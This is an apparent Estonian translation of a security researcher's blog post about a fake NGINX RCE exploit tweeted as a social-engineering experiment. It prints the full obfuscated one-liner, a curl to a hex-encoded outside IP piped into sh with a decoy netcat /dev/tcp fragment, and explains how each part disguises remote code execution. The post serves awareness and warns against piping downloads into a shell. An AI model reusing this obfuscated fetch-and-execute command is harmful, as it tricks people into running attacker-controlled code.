MĂ€rk. tĂ”lge.: originali mĂ€rkuse, mis avaldati 1. juunil, otsustas lĂ€bi viia eksperimendi infotehnoloogia huviliste seas. Selleks valmistas ta vale eksploiteerimise avastamata haavatavusele veebiserveris ja postitas selle oma Twitterisse. Tema eeldused â et spetsialistid, kes nĂ€evad koode ilmselget petmist, löövad ta hetkega paljastama â ei lihtsalt ei Ă”igustanud end... Need ĂŒletasid kĂ”ik ootused, ja vastupidiselt: tweet sai tohutu toetuse paljude inimeste poolt, kes ei kontrollinud tema sisu.

TL;DR: Ărge mingil juhul kasutage failide torustamist sh vĂ”i bash's. See on suurepĂ€rane viis arvuti kontrolli kaotamiseks.
Soovin jagada teiega vĂ€ikest lugu naljakast PoC-exploitist, mis loodi 31. mail. See tuli kiiresti vastusena uudisele , liige (ZDI), et varsti avaldatakse teave NGINX-i haavatavuse kohta, mis viib RCE (koodide kaugelt tĂ€itmine). Kuna NGINX on paljude veebisaitide aluseks, pidi uudis olema nagu pomm. Kuid teabe «vastutustundliku avalikustamise» protsessi viivituste tĂ”ttu ei olnud toimunud juhtumi ĂŒksikasjad teada - see on ZDI tavaline protseduur.

NGINX-i haavatavuse avalikustamisest
LĂ”petades uue curl'i obfuskeermistehnika arendamise, tsiteerisin algset tviiti ja «lekkisin töötava PoC», mis koosnes ĂŒhest koodireast, mis vĂ€idetavalt kasutas avastatud haavatavust. Loomulikult oli see tĂ€ielik jama. Olin kindel, et mind paljastatakse kohe ja et parimal juhul saan paar retviiti (ja siis mis seal ikka).

vale ekspluateerimisega
Kuid ma ei suutnud ette kujutada, mis edasi juhtuma hakkas. Minu tviidi populaarsus tĂ”usis taevasse. Ăllataval kombel ei ole siiani (1. juuni kell 15:00 Moskva aja jĂ€rgi) paljud isegi aru saanud, et see on vale. Paljud retviitivad seda ilma igasuguse kontrollita (rÀÀkimata kaunite ASCII-graafikate nautimisest, mida see vĂ€lja prindib).

Vaata, kui ilus see on!
Isegi kui kĂ”ik need tsĂŒklid ja vĂ€rvid on hĂ€mmastavad, on selge, et neid nĂ€ha, pidi inimene koodi oma masinas kĂ€ivitama. Ănneks töötavad brauserid sarnaselt ning arvestades, et seadusprobleemid ei ole mulle vajalikud, tegi kood, mis oli mu saidil peidetud, lihtsalt echo-kutseid, ilma et prooviks kĂ€ivitada vĂ”i installida mingit lisakoodi.
VĂ€ike kĂ”rvalepĂ”ige: , , mina ja teised mehed tiimist oleme juba mĂ”nda aega katsetanud erinevaid viise curl-kĂ€skude obfutseerimiseks, sest see on lahe... ja me oleme geegid. netspooky ja dnz leidsid mĂ”ned uued viisid, mis tundusid mulle ÀÀrmiselt paljutĂ”otavad. Liitusin lĂ”busa seltskonnaga ja proovisin IP-dekdecimal muundamisi trikkide komplekti lisada. Selgus, et IP-sid saab ka kuusnurkadesse konverteerida. Veelgi enam, curl ja enamik teisi NIX-tööriistu vĂ”tavad heameelega âsöömiseksâ kuusnurkseid IP-sid! Seega oli vajalik lihtsalt luua usutav ja turvaliselt nĂ€iv kĂ€surea kĂ€sk. LĂ”puks jĂ€in selle juurde:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhostSotsiaalne elektroonika inseneriteadus (S.E.E.) â rohkem kui lihtsalt phishing
Turvalisus ja harjumus olid eksperimendi keskse koostisosana. Arvan, et need just aitasid kaasa selle edule. Kommando rida viitas selgelt turvalisusele, viidates â127.0.0.1â (tuntud localhost). Arvatakse, et localhost on turvaline ja selle andmed ei lahku kunagi teie arvutist.
Harjumus oli teine oluline S.E.E. komponent eksperimendis. Kuna sihtrĂŒhm koosnes peamiselt inimestest, kes on tuttavad arvutiturvalisuse pĂ”hialustega, oli oluline luua selline kood, mille osad nĂ€ivad tuttavad ja harjumuspĂ€rased (seega turvalised). Vanade ekspluateerimisideede elementide laenamine ja nende ebatavaline kombineerimine osutus vĂ€ga edukaks.
Allpool on ĂŒksikasjalik ĂŒlevaade ĂŒhe realisest koodi nĂ€itest. Kogu see nimekiri on kosmeetilise iseloomuga, ja selle tĂ”husaks toimimiseks ei ole praktiliselt midagi vajalik.
Millised koostisosad on tĂ”eliselt vajalikud? Need on -gsS, -O 0x0238f06a, |sh ning veebiserver. Veebiserver ei sisaldanud ĂŒhtegi pahatahtlikku kĂ€sku, vaid edastas lihtsalt ASCII graafikat kĂ€skude kaudu echo skriptis, mis sisaldub index.html. Kui kasutaja sisestas rea, kus on |sh keskel, index.html laaditi ja viidi ellu. Ănneks ei olnud veebiserveri hooldajatel halbu kavatsusi.
-
../../../%00â kujutab vĂ€ljapÀÀsu kataloogist; -
ngx_stream_module.soâ tee juhuslikku NGINX moodulisse; -
/bin/sh%00<'protocol:TCP'â me justkui kĂ€ivitame/bin/shsihtmasinas ja suuname vĂ€ljundi TCP-kanalisse; -
-O 0x0238f06a#PLToffsetâ salajane koostisosa, millele on lisatud#PLToffset, et nĂ€ida nagu mĂ€lu nihke, mis mingil moel sisalduks PLT-s; -
|sh;â veel ĂŒks oluline fragment. Me pidime suunama vĂ€ljundi sh/bashi, et kĂ€ivitada kood, mis tuli rĂŒndava veebiserveri aadressilt0x0238f06a(2.56.240.x); -
nc /dev/tcp/localhostâ valekarp, kuhu netcat viitab/dev/tcp/localhost, et kĂ”ik nĂ€iks jĂ€lle ohutu. Tegelikult ei tee see midagi ja on lisatud rida ilusaks.
Sellega lĂ”ppeb ĂŒhe reaga skripti tĂ”lgendamine ja "sotsiaalne elektroonika" (peente kĂŒberrĂŒnnakute) aspektide arutelu.
Veebiserveri seadistus ja vastumeetmed
Kuna enamus minu jÀlgijatest on infokaitsjad/hÀkkerid, otsustasin teha veebiserverist veidi vastupidavama nende huvi ilmingute suhtes, et neil oleks millegagi tegeleda (ja selle seadistamine oli ka lahe). Ma ei plaani siin loetleda kÔiki lÔkse, kuna eksperiment on jÀtkuvalt kÀimas, aga siin on mÔned asjad, mida server teeb:
- JĂ€lgib aktiivselt katseid levitada teatud sotsiaalmeedias ja asendab erinevaid eelvaate minipilte, et julgustada kasutajat klikkima lingil.
- Suunab Chrome'i/Mozilla/Safari jne promoklipi Thugcrowd'i, selle asemel et nÀidata shell'i skripti.
- JÀlgib ILMSISED sissetungi/röövimise tunnusjooned, mille jÀrel hakkab suunama pÀringuid NSA serveritesse (ha!).
- Installeerib trooja ning BIOS rootkiti kĂ”ikidele arvutitele, mille kasutajad kĂŒlastavad hosti tavabrauserist (nali!).

VĂ€ike osa antimeetrist
Sellest lĂ€htudes oli minu ainus eesmĂ€rk Ă”ppida mĂ”ned Apache'i vĂ”imalused â eriti lahedad pĂ€ringute suunamisreeglid â ja mĂ”tlesin: miks ka mitte?
NGINX eksploit (tÔeline!)
JĂ€lgi Twitteris ja vaata ZDI imelise töö jĂ€lgimist, et kĂ”rvaldada tĂ”eliselt olulisi haavatavusi ja eksploitatsiooni vĂ”imalusi NGINX-is. Nende töö on mind alati lummanud ja olen tĂ€nulik Alicemale kĂ”igi mainimiste ja teavituste kannatlikkuse eest, mis tulenes minu rumalast tweet'ist. Ănneks tĂ”i see ka pisut kasu: aitas tĂ”sta teadlikkust NGINX-i haavatavustest ja curl'i vÀÀrkasutuse pĂ”hjustatud probleemidest.
Allikas: habr.com
